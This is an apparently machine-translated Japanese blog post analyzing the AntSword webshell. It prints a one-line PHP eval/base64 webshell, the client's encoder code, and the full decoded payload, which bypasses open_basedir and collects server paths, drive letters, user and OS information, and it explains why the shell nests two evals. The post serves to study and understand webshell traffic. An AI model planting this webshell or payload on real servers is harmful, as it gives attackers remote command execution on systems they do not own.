プライベートな連絡先の最初の情報
送料メール:
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
参照する
による初め例えば
トロイの木馬
<?php @eval(base64_decode($_POST['ant']));?>
Ant パラメータの内容を取得し、base64 デコードして実行します。
エンコーダ
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
乱数randomIDを生成し、データをbase64エンコードしてrandomIDパラメータに渡します。
それからeval(base64_decode($_POST[${randomID}]));die();
Base64エンコードを実行する
それどころか
トロイの木馬が最初にそれを取得しますdata[pwd]
あれはant
値はbase64デコード後に取得されます。
eval(base64_decode($_POST[${randomID}]));die();
実際、このトロイの木馬は、
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
生成された乱数randomIDがA
、それなら、
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
トロイの木馬の第 2 ステップでは、data[randomID]
、 あれは$_POST[${randomID}]
、つまりここです$_POST[A]
Base64 でエンコードされているため、1 回デコードする必要があります。なぜ 2 回実行する必要があるのかという疑問が生じます。 ? ?次に、トラフィックパッケージから確認する必要があります
ここでは環境構築に関するデモはありません。Xiaopi、Yijian、burpsuite だけで十分です。
データパケットベースをデコードする
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
すると、こうなりますeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
この大きな段落を見て整理してください
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
もちろん機能はあまり知りませんが、AIがあるんだ!
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
この段落は
エラー表示をオフにする
スクリプトの実行時間を設定する
open_basedir の設定値を取得してバイパスしますopen_basedir
属性の制限
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
このセクションでは、現在のスクリプトが配置されているディレクトリを取得し、文字列パラメータを初期化します。$R
、ドライブ文字を走査し、CZ がドライブ文字をブラストし、posix_getegid 関数を使用して、スクリプトを実行するユーザーのユーザー名、ユーザー グループ、およびその他の内容を取得し、検出します。$u
存在するかどうか。存在しない場合は、get_current_user() 関数を使用してオペレーティング システム情報を取得します。
この時点では、この PHP コードがキャッシュ メカニズムを使用しているため、最終的にトロイの木馬の現在の実行ディレクトリ、ドライブ文字、ユーザー、およびオペレーティング システムの情報を取得していることは明らかです。
asoutput()関数で一括出力を行い、
上記のリクエスト パケットをリピータ モジュールに送信し、返された結果が同じであることを確認します。
しかし、これではまだ eval が 2 つある理由を説明できません。実際、ant によって渡されたコンテンツは、eval の層が外側に配置された場合にのみ、内部の eval が関数として実行されます。
<?php
eval("eval('echo 1+1;');die();")
?>
変身
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
最終的な出力結果は 2 です。これは、外側の eval が文字列を実行用の関数に変換し、eval の内側の層がコンテンツを実行することを意味します。
したがって、この例では、トロイの木馬の eval を使用してリクエスト パッケージ内の eval 関数をアクティブにし、それによってコマンド実行の効果を実現します。